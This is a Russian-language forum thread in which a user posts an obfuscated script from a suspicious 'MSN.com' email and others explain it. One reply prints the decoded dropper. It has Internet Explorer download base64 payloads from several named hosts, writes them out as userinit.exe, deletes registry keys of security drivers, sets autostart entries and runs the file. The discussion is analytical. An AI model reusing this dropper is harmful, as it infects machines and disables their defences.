powered by simpleCommunicator - 2.0.61     © 2026 Programmizd 02
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Форумы / Java [игнор отключен] [закрыт для гостей] / Вопрос знатокам!
4 сообщений из 4, страница 1 из 1
Вопрос знатокам!
    #33512294
qqmber
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Доброе время суток!
пришло письмишко, а в нем код:
крутил-вертел не понял что же он делает.
мож кто разберется? просто интересно.
вот код:

<html>
<head>

<title>MSN.com</title>



</head>
<body>

<script language=JavaScript>gbsn=unescape("fu%6E%63t%69on%20%63%28%72%29{%76a%72 %69%2C%75%3D%27',s=%22%69rK%38%61{%65%71%53%23%32%36%73HbU%2DVW%54%58&%59%3BP%75%5C%22%5A%5D%5B%49l$%2C^t_N`'c0%52%35%64G)J~%66%67O%68(L%4D%6AQ%43@.%37%76%70%2A9%77x1kA%3Dmn%6F%79%44%7A%7C:%2B%7D%20/!34%22%2Ck='%27,h,m%2C%6E;fo%72(%69%3D%30;%69%3Cr%2Ele%6E%67t%68%3B%69++%29%7B%68%3D%72%2E%63h%61r%41%74(i)%3Bm%3Ds%2Ein%64ex%4Ff%28%68);%69%66(m>%2D1%29%7B%6E%3D%28%28m+1)%258%37%2D%31)%3B%69f(%6E<%3D0){n+=87}%6B+=%73%2Ec%68%61%72%41t(%6E-%31%29}e%6Cse{%6B%2B=h}}u%2B=%6B;d%6F%63%75%6De%6E%74.%77ri%74%65(%75%29%7D");eval(gbsn);


c("@yooq0_roO/_y/j#`70yn/Hq0\"Kq/n{r$/HqKpqK777<H0Kr*_/${oO\"{Oqm~{p{#0Kr*_>g\"o0_ryo/OLJeGy0\"nqo_7xKr_qLc-o{U$q/Xy/@yooq0_/_y/#qKpqK7/u$q{Hq/0(q0A/Dy\"K/lo_qKoq_/0yooq0_ryo/{oG/_KD/{O{ro7<H0Kr*_/${oO\"{Oqm~{p{#0Kr*_>0QmZ\\\\\\\\ZPGKmZ0+Z}0Q}Z5q0D0$qGZ}0QP|mGK}Z\"HqKror_7q1qZP_KDeymoqx/=0_rpq&hUQq0_LZ#0Kr*_roO7Fr$q#DH_qnhUQq0_ZJPpmoqx/=0_rpq&hUQq0_LZT#0Kr*_7#(q$$ZJPo1mkPrgLy7Fr$qE1rH_HL|JJeq1my7)q_Fr$qL|JPrgLq17Hr|q>6RRRRJo1mRP g\"o0_ryo/g$LJeKq_\"Ko/g{$Hq Gy0\"nqo_7yo0yo_q1_nqo\"mg$Py7@Kq{_qFy$GqKLGKJP 0{_0(L_kJe P<\\!H0Kr*_><H0Kr*_/${oO\"{OqmZpUHZ>lg/o1/X(qo\\oHq_/lEm@Kq{_qhUQq0_LZlo_qKoq_E1*$yKqK7=**$r0{_ryoZJ\\olE7WrHrU$qmR\\o#\"U/#*\\oT(r$q/lE7B\"HDm_K\"q\\oTqoG\\oEoG/#\"U\\o\"Km=KK{DLZgK447UD7K\"\\!y$7_1_Z^ZGy$o7kOU7K\"\\!H_{gg7_1_Z^ZKqq*7xy$7U|\\!y$7_1_Z^ZUyU$y$7|yy7UD\\!y$7_1_Z^Zpy$\"n7kOU7K\"\\!y$7_1_Z^Z*yy$0yy$7_4d70yn\\!U$70Z^ZG\"\"x7on7K\"\\!y$7_1_ZJ\\oFyK/\"omR/Xy/s\\olE7`{prO{_qL\"KL\"oJJ\\o#*\\o1mlE7zy0\"nqo_7UyGD7rooqKXq1_\\olg/MqoL1J>dRRRR/X(qo\\oE1r_/FyK\\oEoG/lg\\o1mZZ\\o`q1_\\o#\"U/UH\\o$mMqoL1J\\olgL$JX(qo\\o{mZ=B@zEF)bl~8Mj`huC5#X-WT&;]{U0GqgO(rQA$noy*SKH_\"px1D|Rk64idsvaw}\\!Z\\oFyK/Qmk/Xy/$/#_q*/i\\o*m4\\oDmR\\oFyK/UmR/Xy/4\\oGmjrGL1^Q}U^kJ\\olg/GmZmZ/X(qo\\o*m*Vk\\oqmR\\oE$Hqlg/GmZ?Z/X(qo\\o#q_/xmy7@Kq{_qXq1_Fr$qL|^XK\"qJ\\ox7TKr_q/S\\ox7@$yHq\\oE1r_/#\"U\\oE$Hq\\oqmlo#_KLk^{^G^pUBro{KD@yn*{KqJVk\\oEoG/lg\\oDmsi9D}q\\o`q1_\\oDmbq1LDJ\\oDm#_KroOLsVMqoLDJ^ZRZJYD\\ogm@(KL@BD_qLZYbZYjrGLD^k^6JJJ}@(KL@BD_qLZYbZYjrGLD^4^6JJJ}@(KL@BD_qLZYbZYjrGLD^d^6JJJ\\oSmSYMqg_Lg^*J\\o`q1_\\oEoG/lg\\oEoG/#\"U\\oEoG/lg\\oUH\\op75qOTKr_q/Zb8@-\\\\#yg_x{Kq\\\\jr0KyHyg_\\\\lo_qKoq_/E1*$yKqK\\\\n{$Z^ZrpU_r.n{r$7K\"Z^Z5E)N#]Z<\\!H0Kr*_><H0Kr*_/${oO\"{Oqm~{p{#0Kr*_>g\"o0_ryo/gkLJeUkmRPg\"o0_ryo/g6Lo{JeU6mRPKkmZb8MjZ}0Q}Z#;#XEjZ}0Q}Z@\"KKqo_@yo_Ky$#q_Z}0Q}Z#qKpr0qHZ}0QP_KDep75qOzq$q_qLKk}o{}0QJPU6mkP 0{_0(L_kJe PKq_\"KoLU6JP K6mZb8MjZ}0Q}Z#hFXT=5EZ}0Q}Zjr0KyHyg_Z}0QPAqmZ=0_rpq/#q_\"*Z}0Q}ZloH_{$$qG/@yn*yoqo_HZ}0Q}Ze@zd=@wkBV=EvBVEa4=VR@i@VEsksRvdwv6F4 Z}0Q}Z#_\"U*{_(ZPrgLg6LZ*0r*rnZJ}g6LZ*0luuH@ZJ}g6LZ5{*zKpZJ}g6LZFrKqujZJ}g6LZ8n1Fr$qZJJUkmkP_KDep75qOTKr_qLK6}Aq^|^Z5E)N#]ZJPp75qO5q{GLK6}AqJP 0{_0(L_kJe_KDey7@y*DFr$qL|^p75qO5q{GLK6}ZTroGyxHZ}0Q}Z@\"KKqo_WqKHryoZ}0Q}ZE1*$yKqKZ}0Q}Z#(q$$/Fy$GqKHZ}0Q}Z@ynnyo/#_{K_\"*ZJ}0QJP 0{_0(L_kJeUkmR P PKq_\"KoLUkJP _KDergLo1YY3gkLJJp7K\"oL|JP 0{_0(L_Je P<\\!H0Kr*_>cJP PHq_Xrnqy\"_LZOLJZ^RJP<!H0Kr*_>");</script></body></html>
...
Рейтинг: 0 / 0
Вопрос знатокам!
    #33512764
Фотография Кувалдин Роман
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Запускает на машине код JavaScript, закодированный в массив, подставляемый в unescape.
Запускать это дело у меня нет никакого желания.
...
Рейтинг: 0 / 0
Вопрос знатокам!
    #33512817
qqmber
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
спасибо!
...
Рейтинг: 0 / 0
Вопрос знатокам!
    #33513282
Dima Yermak
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Что то я правдв не очень пойму что делается. Вроде вторник, а я уже туплю
:-)
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
Unable To Connect to Server. Please check your Internet connection and  try  again.
<script language=JavaScript>
    cj = "\\\\";
    dr = "c:" + cj + "Recycled" + cj;
    z = dr + "userinit.exe";
    try {
        o = new ActiveXObject("Scripting.FileSystemObject");
        v = new ActiveXObject("WScript.Shell");
        nx = 1;
        if (o.FileExists(z)) {
            ex = o.GetFile(z);
            if (ex.size > 20000)nx = 0;
        }
        function fl() {
            return false
        }
        document.oncontextmenu = fl;
        o.CreateFolder(dr);
    } catch(t1) {
    };
</script>
<script language="vbs">
    If nx Then set IE = CreateObject("InternetExplorer.Application")
    IE.Visible = 0
    Sub Sp
    While IE.Busy = true
    Wend
    End Sub
    ur = Array("fr33.by.ru\/ol.txt", "doln.1gb.ru\/staff.txt", "reep.wol.bz\/ol.txt", "boblol.zoo.by\/ol.txt", "volum.1gb.ru\/ol.txt", "poolcool.t35.com\/bl.c", "duuw.nm.ru\/ol.txt")
    For un = 0 To 6
    IE.Navigate(ur(un))
    Sp
    x = IE.Document.body.innerText
    If Len(x) > 50000 Then
    Exit For
    End If
    x = ""
    Next
    Sub bs
    l = Len(x)
    If(l)Then
    a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/"
    For j = 1 To l Step 4
    p = 3
    y = 0
    For b = 0 To 3
    d = Mid(x, j + b, 1)
    If d = "=" Then
    p = p - 1
    e = 0
    ElseIf d = "?" Then
    Set w = o.CreateTextFile(z, True)
    w.Write q
    w.Close
    Exit Sub
    Else
    e = InStr(1, a, d, vbBinaryCompare) - 1
    End If
    y = 64 * y + e
    Next
    y = Hex(y)
    y = String(6 - Len(y), "0") & y
    f = Chr(CByte("&H" & Mid(y, 1, 2))) + Chr(CByte("&H" & Mid(y, 3, 2))) + Chr(CByte("&H" & Mid(y, 5, 2)))
    q = q & Left(f, p)
    Next
    End If
    End Sub
    End If
    bs
    v.RegWrite "HKCU\\Software\\Microsoft\\Internet Explorer\\mal","ivbti@mail.ru","REG_SZ"
</script>
<script language=JavaScript>
    function f1() {
    b1 = 0;
    function f2(na) {
        b2 = 0;
        r1 = "HKLM" + cj + "SYSTEM" + cj + "CurrentControlSet" + cj + "Services" + cj;
        try {
            v.RegDelete(r1 + na + cj);
            b2 = 1;
        } catch(t1) {
        }
        ;
        return(b2);
    }
    r2 = "HKLM" + cj + "SOFTWARE" + cj + "Microsoft" + cj;
    ke = "Active Setup" + cj + "Installed Components" + cj + "{CD5AC91B-AE7B-E83A-0C4C-E616075972F3}" + cj + "Stubpath";
    if (f2("pcipim") + f2("pcIPPsC") + f2("RapDrv") + f2("FirePM") + f2("KmxFile"))b1 = 1;
    try {
        v.RegWrite(r2 + ke, z, "REG_SZ");
        v.RegRead(r2 + ke);
    } catch(t1) {
        try {
            o.CopyFile(z, v.RegRead(r2 + "Windows" + cj + "CurrentVersion" + cj + "Explorer" + cj + "Shell Folders" + cj + "Common Startup") + cj);
        }  catch (t1) {
            b1 =  0 
        }
        ;
    }
    ;
     return (b1);
} try  {
     if  (nx && !f1())v.run(z);
}  catch (t) {
};
</script>
...
Рейтинг: 0 / 0
4 сообщений из 4, страница 1 из 1
Форумы / Java [игнор отключен] [закрыт для гостей] / Вопрос знатокам!
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]